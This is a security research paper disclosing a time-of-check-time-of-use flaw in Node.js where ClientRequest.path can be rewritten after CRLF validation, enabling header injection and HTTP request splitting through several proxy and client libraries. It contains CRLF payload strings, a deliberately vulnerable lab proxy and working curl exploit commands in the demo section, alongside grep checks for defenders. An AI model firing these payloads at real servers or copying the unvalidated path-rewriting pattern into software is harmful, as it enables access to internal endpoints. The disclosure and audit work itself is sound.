Cover


RESPONSIBLE DISCLOSURE NOTICE

This vulnerability was reported to Node.js through their HackerOne program. The Node.js security team has assessed it and determined it is not a vulnerability under their current threat model. This paper is published to inform the ecosystem and help developers protect their applications.


Table of Contents

  1. Prologue: A Bug That Wonโ€™t Die
  2. The 2018 Precedent: CVE-2018-12116
  3. The Root Cause: Anatomy of the TOCTOU
  4. Walking Through the Source Code
  5. The Impact Spectrum: From Header Injection to Request Splitting
  6. The Ecosystem Audit: 7 Vulnerable Libraries
  7. Library-by-Library Deep Dive
  8. Libraries That Got It Right
  9. Live Demo
  10. Node.js Response: โ€œNot a Vulnerabilityโ€
  11. Call to Arms

1. Prologue: A Bug That Wonโ€™t Die

In 2018, a researcher discovered that Node.jsโ€™s http.request() would happily pass Unicode characters through to the wire, where latin1 encoding would truncate them into CRLF bytes โ€” enabling HTTP Request Splitting. It was assigned CVE-2018-12116, scored CVSS 7.5 HIGH, and promptly fixed.

The fix added a regex validation to reject paths containing characters outside \u0021-\u00ff:

// lib/_http_client.js (the 2018 fix, still present today)
const INVALID_PATH_REGEX = /[^\u0021-\u00ff]/;

if (options.path) {
    const path = String(options.path);
    if (INVALID_PATH_REGEX.test(path)) {
        throw new ERR_UNESCAPED_CHARACTERS('Request path');
    }
}

Case closed. Right?

Not quite. The 2018 fix has a fundamental design flaw: it only runs at construction time. The property it validates โ€” this.path โ€” remains a plain writable JavaScript property with no setter, no proxy, no Object.defineProperty guard. Any code that mutates ClientRequest.path after construction completely bypasses this validation.

And as I discovered, an enormous amount of code does exactly that.


2. The 2018 Precedent: CVE-2018-12116

To understand the current bug, we need to understand its predecessor.

CVE-2018-12116 โ€” HTTP Request Splitting via Unicode

Field Value
CVE CVE-2018-12116
CVSS 7.5 HIGH
Affected Node.js < 6.15.0, < 8.14.0, < 10.14.0, < 11.3.0
Reporter Arkadiy Tetelman (Lob)
CWE CWE-115 (Misinterpretation of Input)

The Mechanism: Node.js versions 8 and below used latin1 encoding when constructing HTTP requests without a body. Latin1 is a single-byte encoding โ€” it canโ€™t represent high Unicode characters, so it truncates them to their lowest byte.

An attacker could craft Unicode characters that, when truncated to latin1, produced HTTP control bytes:

  • \u{010D} โ†’ \x0D (Carriage Return, \r)
  • \u{010A} โ†’ \x0A (Line Feed, \n)

This meant a path like "/safe\u{010D}\u{010A}\u{010D}\u{010A}GET /admin" would pass any ASCII validation, but on the wire would become "/safe\r\n\r\nGET /admin" โ€” a fully split second HTTP request.

The Fix: Reject any path containing characters outside the range \u0021-\u00ff at construction time.

The fix was effective for its specific attack vector. But it introduced an assumption that would prove dangerous: that validation at construction time is sufficient.


3. The Root Cause: Anatomy of the TOCTOU

The vulnerability I found is a classic TOCTOU (Time-of-Check-Time-of-Use) bug.

              TIME โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–บ
    โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”         โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”        โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
    โ”‚  http.request()  โ”‚         โ”‚   TOCTOU WINDOW     โ”‚        โ”‚ _implicitHeader()โ”‚
    โ”‚                  โ”‚         โ”‚                     โ”‚        โ”‚                  โ”‚
    โ”‚  options.path    โ”‚         โ”‚  ClientRequest      โ”‚        โ”‚  this.path used  โ”‚
    โ”‚  is VALIDATED    โ”‚         โ”‚  is EXPOSED to      โ”‚        โ”‚  directly in     โ”‚
    โ”‚  against         โ”‚โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–บโ”‚  user code via      โ”‚โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–บโ”‚  HTTP request    โ”‚
    โ”‚  INVALID_PATH_   โ”‚         โ”‚  events/callbacks   โ”‚        โ”‚  line โ€” NO       โ”‚
    โ”‚  REGEX           โ”‚         โ”‚                     โ”‚        โ”‚  re-validation   โ”‚
    โ”‚                  โ”‚         โ”‚  .path is a PLAIN   โ”‚        โ”‚                  โ”‚
    โ”‚  โœ…โœ… CHECK     โ”‚         โ”‚  WRITABLE property  โ”‚        โ”‚  โŒโŒ USE       โ”‚
    โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜         โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜        โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                          ๐Ÿกฉ
                                          |
                                  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
                                  โ”‚  ATTACKER MUTATES   โ”‚
                                  โ”‚  clientReq.path =   โ”‚
                                  โ”‚  "/x\r\n\r\nGET /"  โ”‚
                                  โ”‚                     โ”‚
                                  โ”‚  Validation is      โ”‚
                                  โ”‚  NEVER re-run       โ”‚
                                  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

In simple terms:

  1. CHECK: When you call http.request(options), Node.js validates options.path against INVALID_PATH_REGEX. If it contains CRLF characters (\r, \n) or characters outside \u0021-\u00ff, it throws an error. Good.

  2. WINDOW: The resulting ClientRequest object has a .path property that is a plain writable JavaScript property โ€” this.path = options.path || '/'. No setter. No Object.defineProperty. No Proxy. Any code with a reference to the object can write to it freely.

  3. USE: When the request is actually sent (triggered by .write(), .end(), or .pipe()), the method _implicitHeader() reads this.path directly and concatenates it into the HTTP request line: this.method + ' ' + this.path + ' HTTP/1.1\r\n'. No re-validation.

The gap between step 1 and step 3 is the TOCTOU window. Any mutation of .path during this window bypasses all CRLF validation.


4. Walking Through the Source Code

Letโ€™s trace exactly what happens in the Node.js source code. All references are to the current Node.js main branch at time of writing.

4.1 โ€” The Validation (Construction Time)

File: lib/_http_client.js โ€” source

// Line 117: The regex that guards against CRLF
const INVALID_PATH_REGEX = /[^\u0021-\u00ff]/;

This regex matches any character outside the printable latin1 range. Notably, \r (\u000D) and \n (\u000A) are below \u0021, so they are caught by this regex. This is the CVE-2018-12116 fix.

source

// Lines 235-241: Validation runs ONCE, at construction
if (options.path) {
    const path = String(options.path);
    if (INVALID_PATH_REGEX.test(path)) {
        debug('Path contains unescaped characters: "%s"', path);
        throw new ERR_UNESCAPED_CHARACTERS('Request path');
    }
}

So far, so good. CRLF in the constructor path = error thrown.

4.2 โ€” The Assignment (No Protection)

source

// Line 306: Plain property assignment โ€” no setter, no guard
this.path = options.path || '/';

This is just a regular JavaScript property. There is no:

  • Object.defineProperty() with a setter that validates
  • Proxy trap
  • Private field (#path)
  • Frozen/sealed property

Any code that has a reference to the ClientRequest object can do req.path = anything and it will succeed silently.

4.3 โ€” The Use (No Re-validation)

source

// Lines 475-481: _implicitHeader() โ€” called by .write(), .end(), .pipe()
ClientRequest.prototype._implicitHeader = function _implicitHeader() {
    if (this._header) {
        throw new ERR_HTTP_HEADERS_SENT('render');
    }
    this._storeHeader(
        this.method + ' ' + this.path + ' HTTP/1.1\r\n',
        //                   ^^^^^^^^^
        //                   READ DIRECTLY โ€” NO RE-VALIDATION
        this[kOutHeaders]
    );
};

This is where the damage happens. this.path is read raw and concatenated directly into the HTTP request line. If .path now contains \r\n, those bytes go directly onto the TCP socket.

4.4 โ€” The Wire Format

_storeHeader() (in lib/_http_outgoing.js) takes that first line and builds the complete HTTP message โ€” source:

// lib/_http_outgoing.js, line 397
function _storeHeader(firstLine, headers) {
    // firstLine = 'GET /index.html HTTP/1.1\r\n'   โ† normal
    // firstLine = 'GET /x\r\n\r\nGET /admin HTTP/1.1\r\n'  โ† SPLIT!
    const state = {
        // ...
        header: firstLine,   // โ† stored directly, no sanitization
    };
    // ... processes headers, appends them to state.header ...
    // ... writes state.header to the socket ...
}

The content flows directly to the TCP socket. If the path contained CRLF sequences, they are written as-is โ€” enabling anything from header injection to full request splitting, depending on the payload.


5. The Impact Spectrum: From Header Injection to Request Splitting

This is not a single attack. Depending on how CRLF characters are injected into ClientRequest.path, the impact ranges from header injection to complete request splitting. The _implicitHeader() method concatenates the path directly into the request line โ€” so whatever bytes are in .path, they go on the wire verbatim.

Hereโ€™s the full spectrum:

Level 1: Header Injection

Injecting a single \r\n after the HTTP version allows adding arbitrary headers to the outgoing request.

Mutated path:  /legit HTTP/1.1\r\nX-Injected: malicious-value\r\nX-Foo: bar

On the wire:
    GET /legit HTTP/1.1
    X-Injected: malicious-value      โ† injected
    X-Foo: bar                        โ† injected
    Host: backend.internal            โ† original headers follow
    Connection: keep-alive

Impact: Override security headers (Authorization, X-Forwarded-For, Host), bypass IP-based ACLs, impersonate internal services.

Level 2: Body Injection

Injecting \r\n sequences to close the headers and begin a body allows injecting content into a request that wasnโ€™t supposed to have a body.

Mutated path:  /legit HTTP/1.1\r\nContent-Length: 13\r\n\r\n{"admin":true}

On the wire:
    GET /legit HTTP/1.1
    Content-Length: 13                โ† injected
                                      โ† end of headers
    {"admin":true}                    โ† injected body
    Host: backend.internal            โ† orphaned, treated as next request start

Impact: Transform GET requests into requests with bodies, inject JSON/form payloads, alter backend state.

Level 3: Full Request Splitting

Injecting a complete \r\n\r\n sequence (end of headers) followed by a new request line creates two completely separate HTTP requests from a single client request.

Mutated path:  /legit HTTP/1.1\r\nHost: x\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\n\r\n

On the wire โ€” TWO distinct requests:

    โ”Œโ”€โ”€โ”€ Request 1 (legitimate) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
    โ”‚ GET /legit HTTP/1.1                        โ”‚
    โ”‚ Host: x                                    โ”‚
    โ”‚                                            โ”‚
    โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
    โ”Œโ”€โ”€โ”€ Request 2 (INJECTED) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
    โ”‚ GET /admin HTTP/1.1                        โ”‚
    โ”‚ Host: x                                    โ”‚
    โ”‚                                            โ”‚
    โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Impact: The second request is entirely attacker-controlled โ€” method, path, headers, body. It reaches the backend as a completely independent request. This enables access to internal endpoints, admin panels, or any path the proxy wouldnโ€™t normally allow.

Quick reference

Level Payload pattern What gets injected Impact
Header Injection /path HTTP/1.1\r\nHeader: value Arbitrary headers Auth bypass, SSRF, header overrides
Body Injection /path HTTP/1.1\r\nContent-Length: N\r\n\r\nbody Headers + Body State mutation, privilege escalation
Request Splitting /path HTTP/1.1\r\nHost: x\r\n\r\nGET /new Entire second request Full control of a second independent request

Note: This is different from HTTP Request Smuggling (CL/TE desync). Smuggling produces one ambiguous request that is interpreted differently by frontend and backend. Request Splitting produces two distinct, well-formed requests on the wire from a single client request. The second request is not ambiguous โ€” itโ€™s a real, complete HTTP request.


6. The Ecosystem Audit: 7 Vulnerable Libraries

The TOCTOU window is in Node.js core, but it only becomes exploitable when a library exposes the raw ClientRequest object to user code (or its own internal code) between construction and header flush.

I audited the most popular Node.js HTTP client and proxy libraries to determine which ones open this window. Here are the results:

Vulnerable Libraries (Window OPEN)

# Library Weekly Downloads Stars Window Mechanism
1 node-http-proxy 18.7M 14.1K proxyReq event on socket callback, before .pipe()
2 http-proxy-middleware 22.6M 11.1K Inherits #1 + pathRewrite zero sanitization + fixRequestBody() flush
3 http-proxy-3 via Vite โ€” Fork of #1, identical pattern
4 httpxy via Nitro โ€” Fork of #1, identical pattern
5 superagent 15.9M 16K emit('request', this) before req.end()
6 request (+forks) 24.4M 25.9K emit('request', req) before deferred .write()/.end()
7 @hapi/wreck 1.7M โ€” emit('request', req) + promise.req on Stream payloads

Combined: ~160M+ weekly downloads with an open TOCTOU window.

Important Note: This is not an exhaustive list. Any library or custom code that uses http.request() and exposes the resulting ClientRequest before _implicitHeader() is called is potentially affected. The vulnerability surface extends to every custom implementation of HTTP proxying or client code that follows this pattern. There are certainly more libraries out there.


7. Library-by-Library Deep Dive

7.1 โ€” node-http-proxy

18.7M downloads/week ยท 14.1K stars

The foundation of Node.js proxying. Used by http-proxy-middleware, Vite (via http-proxy-3), Nuxt (via httpxy), webpack-dev-server, BrowserSync, and hundreds of other tools.

The Window:

source ยท pipe

// lib/http-proxy/passes/web-incoming.js

// Line 126: ClientRequest created โ€” path validated here
var proxyReq = (options.target.protocol === 'https:' ? https : http).request(
    common.setupOutgoing(options.ssl || {}, options, req)
);

// Lines 131-135: proxyReq event fires on socket callback
proxyReq.on('socket', function(socket) {
    if (server && !proxyReq.getHeader('expect')) {
        server.emit('proxyReq', proxyReq, req, res, options);
        //          ^^^^^^^^^ ClientRequest exposed โ€” WINDOW OPEN
    }
});

// Line 170: .pipe() triggers _implicitHeader() โ€” WINDOW CLOSES
(options.buffer || req).pipe(proxyReq);

Vulnerable Pattern:

const httpProxy = require('http-proxy');
const proxy = httpProxy.createProxyServer({ target: 'http://backend:8080' });

proxy.on('proxyReq', (proxyReq, req, res) => {
    // ANY mutation of proxyReq.path here bypasses CRLF validation
    proxyReq.path = req.url;                              // raw passthrough
    proxyReq.path = proxyReq.path.replace('/prefix', ''); // prefix strip
    proxyReq.path = '/api' + req.query.target;            // concatenation
});

The same pattern applies identically to http-proxy-3 (used by Vite, 78.4K stars) and httpxy (used by Nitro/Nuxt, 57K stars). They are forks with the same architecture.


7.2 โ€” http-proxy-middleware

22.6M downloads/week ยท 11.1K stars

The most popular Express/Connect proxy middleware. Built on top of node-http-proxy. Used by Create React App, Angular CLI, webpack-dev-server, and countless production applications.

http-proxy-middleware is built on top of node-http-proxy and inherits the same TOCTOU window via the on.proxyReq handler. The vulnerable pattern is identical:

The Window (inherited from node-http-proxy):

Any code inside on.proxyReq that assigns to proxyReq.path bypasses CRLF validation, exactly as in node-http-proxy. http-proxy-middleware simply wraps the configuration:

createProxyMiddleware({
    target: 'http://backend:8080',
    on: {
        proxyReq: (proxyReq, req, res) => {
            proxyReq.path = userControlledValue;  // โ† TOCTOU: same window as node-http-proxy
        }
    }
});

Note on fixRequestBody():

source

// src/handlers/fix-request-body.ts, lines 30-32
const writeBody = (bodyData: string) => {
    proxyReq.setHeader('Content-Length', Buffer.byteLength(bodyData));
    proxyReq.write(bodyData);  // โ† calls _implicitHeader() IMMEDIATELY
};

fixRequestBody() does not modify proxyReq.path โ€” it only writes the body. However, the .write() call triggers _implicitHeader(), which flushes whatever is currently in proxyReq.path to the wire. If a path mutation happens before fixRequestBody() in the same handler, the flush is deterministic rather than race-dependent.


7.3 โ€” superagent

15.9M downloads/week ยท 16K stars

Popular HTTP client library with a fluent API. Used for both browser and Node.js.

The Window:

source ยท emit ยท end

// src/node/index.js

// Line 788:  ClientRequest created โ€” path validated
this.req = module_.request(options);

// Line 1220: 'request' event emitted โ€” WINDOW OPEN
this.emit('request', this);
// this.req is accessible via the emitted 'this' object

// Line 1291: req.end() called โ€” _implicitHeader() โ€” WINDOW CLOSES
req.end(data);

Vulnerable Pattern:

const superagent = require('superagent');

superagent.get('http://target.com/safe')
    .on('request', (sa) => {
        // sa.req is the raw ClientRequest
        // _implicitHeader() has NOT been called yet
        sa.req.path = '/safe HTTP/1.1\r\nHost: x\r\n\r\nGET /admin';
    })
    .end();

While this pattern is less common than proxy path mutations (superagent is typically used as a client, not a proxy), the architectural window is present and any code using the request event to modify the underlying ClientRequest would be vulnerable.


7.4 โ€” request (+ @cypress/request, postman-request)

24.4M combined downloads/week ยท 25.9K stars

Deprecated since 2020 but still massively used. Its forks (@cypress/request, postman-request) are actively maintained.

The Window:

source ยท emit

// request.js

// Line 751: ClientRequest created โ€” path validated
self.req = self.httpModule.request(reqOptions);

// Line 861: 'request' event emitted โ€” WINDOW OPEN
self.emit('request', self.req);

// ... start() returns ...

// Deferred via setImmediate/nextTick:
// self.write() / self.end()   โ† _implicitHeader() โ€” WINDOW CLOSES

The key insight here is the deferred execution: .write() and .end() are scheduled via setImmediate/nextTick, so they run after start() returns. The 'request' event fires synchronously inside start(), giving handler code full access to the ClientRequest before any data is sent.

Vulnerable Pattern:

const request = require('request');  // or @cypress/request, postman-request

request('http://target.com/safe')
    .on('request', (clientReq) => {
        // clientReq is the raw ClientRequest
        // .write()/.end() are DEFERRED โ€” haven't run yet
        clientReq.path = '/safe HTTP/1.1\r\nHost: x\r\n\r\nGET /admin';
    });
Fork Weekly Downloads Status
request/request 14.7M Deprecated, same TOCTOU window
@cypress/request 7.5M Active fork, same codebase
postman-request 2.2M Active fork, same codebase

7.5 โ€” @hapi/wreck

1.7M downloads/week

The core HTTP client for the Hapi ecosystem. Used in enterprise applications at Walmart, Yahoo, and Mozilla.

Two distinct vectors:

Vector 1 โ€” 'request' event:

source

// lib/index.js

// Line 186: ClientRequest created โ€” path validated
const req = client.request(uri);

// Line 188: 'request' event emitted โ€” WINDOW OPEN
this._emit('request', req);

// Later: req.write(payload) / req.end()  โ€” WINDOW CLOSES

Vector 2 โ€” Stream payload (deferred pipe):

source

// lib/index.js, lines 316-331
if (options.payload instanceof Stream) {
    internals.deferPipeUntilSocketConnects(req, stream);
    return req;   // โ† returns WITHOUT calling .end()!
}

// The returned req is stored in:
promise.req = req;   // โ† accessible before _implicitHeader()

When the payload is a Stream, wreck defers the pipe until the socket connects. This means promise.req is exposed before _implicitHeader() runs, giving calling code time to mutate .path.

Vulnerable Patterns:

const Wreck = require('@hapi/wreck');

// Vector 1: via events
const client = Wreck.defaults({ events: true });
client.events.on('request', (req) => {
    req.path = '/admin\r\nHost: evil\r\n\r\nGET /secret';
});
await client.get('http://target.com/safe');

// Vector 2: via Stream payload
const { Readable } = require('stream');
const stream = new Readable({ read() { this.push('data'); this.push(null); } });
const promise = Wreck.request('POST', 'http://target.com/safe', { payload: stream });
promise.req.path = '/admin\r\nHost: evil\r\n\r\nPOST /secret';

8. Libraries That Got It Right

Not every library is affected. Several popular HTTP libraries have architectures that naturally close the TOCTOU window, either by accident or by design.

Library Weekly Downloads Why Itโ€™s Safe
follow-redirects 77.7M ._currentRequest is private โ€” never exposed via public API
axios 45M Uses follow-redirects internally โ€” no raw ClientRequest exposure
undici / fetch() 30M+ Does not use ClientRequest at all โ€” entirely different HTTP stack
got 24M Calls ._sendBody() BEFORE emitting 'request' โ€” headers already flushed
needle 3M Calls .end() BEFORE exposing out.request to user code
phin / centra 1.9M req.end() synchronous in same Promise executor โ€” req never exposed
@fastify/reply-from 1.5M Uses new URL() (WHATWG) which percent-encodes CRLF characters
express-http-proxy 350K Calls http.request() directly with clean options โ€” no post-mutation
h3 proxyRequest() via Nitro Uses fetch() API, not http.request() โ€” independent CRLF validation

What Makes a Library Safe?

The pattern is clear. Safe libraries follow one of these strategies:

1. Flush before expose โ€” Call .write(), .end(), or .pipe() before emitting events or returning the ClientRequest to user code. (got, needle, phin)

2. Never expose โ€” Keep the ClientRequest as a private/local variable. Never emit it via events or return it before headers are sent. (follow-redirects, axios)

3. Donโ€™t use ClientRequest โ€” Use fetch(), undici, or another HTTP implementation that doesnโ€™t have this writable .path property. (h3, undici)

4. Encode at construction โ€” Use new URL() (WHATWG parser) which percent-encodes special characters before they ever reach http.request(). (@fastify/reply-from)


9. Live Demo

To demonstrate this vulnerability in practice, I set up a minimal but realistic lab: a proxy that rewrites paths using the most common pattern found in real-world code, and a backend that logs every request it receives.

The Setup

Backend (backend.js) โ€” a simple Express server that logs every incoming request:

const express = require("express");

const app = express();
app.use(express.json());
r_idx = 0;

app.get("*", (req, res) => {
  console.log(`[${++r_idx}] ${req.method} ${req.path}`);
  res.json({
    ok: true,
    source: "target-server",
    method: req.method,
    url: req.originalUrl,
    path: req.path,
    query: req.query,
    headers: {
      host: req.headers.host,
      "x-proxy-test": req.headers["x-proxy-test"] || null,
    },
  });
});

app.post("*", (req, res) => {
  console.log(`[${++r_idx}] ${req.method} ${req.path}`);
  res.json({
    ok: true,
    source: "target-server",
    method: req.method,
    url: req.originalUrl,
    path: req.path,
    query: req.query,
    body: req.body,
    headers: {
      host: req.headers.host,
      "x-proxy-test": req.headers["x-proxy-test"] || null,
    },
  });
});

app.listen(4000, () => {
  console.log("Target server running on http://localhost:4000");
});

Proxy (proxy.js) โ€” an Express proxy that extracts a catch-all parameter and assigns it to proxyReq.path:

const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');

const app = express();

app.use('/proxy/:target(*)', createProxyMiddleware({
  target: 'http://backend:4000',
  changeOrigin: true,
  on: {
    proxyReq: (proxyReq, req) => {
      proxyReq.path = '/' + req.params.target;
      console.log(`[PROXY] ${req.method} ${req.originalUrl} -> ${proxyReq.path}`);
    }
  }
}));

app.listen(3000, '0.0.0.0', () => {
  console.log('Proxy running on http://0.0.0.0:3000');
  console.log('  Example: /proxy/hello');
});

This is a completely realistic pattern. The proxy takes a path from the URL (:target parameter), prepends /, and assigns it to proxyReq.path. This is exactly how dozens of real-world proxies handle path rewriting.

The problem: req.params.target comes directly from the userโ€™s URL. Express decodes percent-encoded characters in route parameters. So %0D%0A in the URL becomes \r\n in req.params.target, which then flows into proxyReq.path โ€” after INVALID_PATH_REGEX validation has already passed.

Exploit: Header Injection

A single request with percent-encoded CRLF in the path:

curl "http://localhost:3000/proxy/hello%20HTTP/1.1%0D%0AX-Injected:%20true%0D%0AHost:%20evil.com%0D%0A%0D%0A"

The proxy decodes this and assigns to proxyReq.path:

/hello HTTP/1.1\r\nX-Injected: true\r\nHost: evil.com\r\n\r\n

The backend receives a request with the injected X-Injected header and a spoofed Host.

Exploit: Full Request Splitting

curl "http://localhost:3000/proxy/hello%20HTTP/1.1%0D%0AHost:%20x%0D%0A%0D%0AGET%20/admin/secret%20HTTP/1.1%0D%0AHost:%20x%0D%0A%0D%0A"

The proxy sends one request. The backend logs two:

[1] GET /hello
[2] GET /admin/secret    โ† this was never requested by the client

One curl command, two backend requests. The second request (GET /admin/secret) is entirely attacker-controlled and reaches the backend as an independent, authenticated request on the same TCP connection.

live_demo


10. Node.js Response: โ€œNot a Vulnerabilityโ€

I reported this finding to the Node.js security team through their HackerOne program, providing:

  • Full root cause analysis with source code references
  • Working proof of concept
  • Ecosystem impact assessment showing 7 vulnerable libraries with 160M+ combined weekly downloads
  • 13 confirmed real-world production sinks

Their response:

โ€œWe have assessed it and itโ€™s not a vulnerability according our current threat model. In 2018 we did not have one, and if we did we would not have classified that as a vulnerability.โ€

This references CVE-2018-12116 โ€” the same class of vulnerability, but exploitable directly at the constructor level (via Unicode truncation). The Node.js teamโ€™s position is that:

  1. The 2018 constructor-level fix was not a vulnerability under their current threat model either
  2. ClientRequest.path being a writable property is by design
  3. Libraries that expose the raw ClientRequest to user code are responsible for their own validation

While I respect the Node.js teamโ€™s right to define their threat model, I disagree with this assessment for several reasons:

  • The validation exists but is incomplete. Node.js does validate options.path at construction โ€” this creates a false sense of security. Developers reasonably assume that if CRLF in the constructor throws an error, the property is somehow protected.

  • The fix would be trivial. A setter on .path that re-runs INVALID_PATH_REGEX, or using Object.defineProperty to make it read-only after construction, would close the window without breaking any legitimate use case.

  • The blast radius is massive. 160M+ weekly downloads across 7 libraries, with confirmed sinks in production projects by Microsoft, Google, Stanford, and UN/FAO. This is not a theoretical concern.


11. Call to Arms

Since Node.js has decided not to fix the root cause, the burden falls on the ecosystem.

Every library that uses http.request() and exposes the resulting ClientRequest before _implicitHeader() is called creates a potential TOCTOU window. Every application that mutates ClientRequest.path in that window with user-controlled data is a potential HTTP Request Splitting vulnerability.

What Iโ€™m Looking For

I am actively looking for:

  1. Other HTTP libraries with open TOCTOU windows. The seven I found are certainly not all of them. Any library that wraps http.request() and exposes the ClientRequest via events, callbacks, or return values before header flush could be affected.

  2. Applications that mutate ClientRequest.path in event handlers (proxyReq, request, etc.) with data derived from user input โ€” query parameters, headers, URL paths.

  3. Custom http.request() implementations in production applications that follow the same pattern of exposing ClientRequest before flush.

How to Check Your Code

Search your codebase for these patterns:

# Proxy libraries (node-http-proxy, http-proxy-middleware)
grep -rn "proxyReq\.path\s*=" .
grep -rn "\.on.*proxyReq" .

# HTTP clients (superagent, request)
grep -rn "\.on.*'request'" . | grep -i "\.path\s*="
grep -rn "\.req\.path\s*=" .

# Generic โ€” any ClientRequest mutation
grep -rn "clientReq\.path\s*=" .
grep -rn "\.path\s*=.*req\." .

If you find matches, check whether:

  1. The value assigned to .path can be influenced by user input (query params, headers, URL segments)
  2. The mutation happens after http.request() construction but before .write()/.end()/.pipe()

If both conditions are true, you likely have a request splitting vulnerability.

Collaborate

If you discover vulnerable patterns in libraries or applications, Iโ€™d love to hear from you. I believe that community-driven security research is the most effective way to address systemic issues like this โ€” especially when the upstream vendor has decided not to act.

You can reach me at:

This is an open invitation. Whether youโ€™re a security researcher, a library maintainer, or a developer who found this pattern in your own code โ€” letโ€™s work together to map and mitigate this vulnerability across the Node.js ecosystem.


Research Timeline

Date Milestone
Feb 2026 Root cause discovery and initial PoC
Feb 2026 HackerOne report submitted to Node.js
Feb 2026 Node.js response: โ€œnot a vulnerabilityโ€
Feb 2026 Ecosystem audit: 7 libraries, 160M+ downloads/week
Feb 2026 Part 1 published (this paper)
TBD Part 2: Confirmed vulnerable applications

This research was conducted with the assistance of AI for code analysis and for drafting the final paper. All findings were reported responsibly prior to public disclosure. No production systems were exploited during this research; all tests were performed on local instances of the affected software.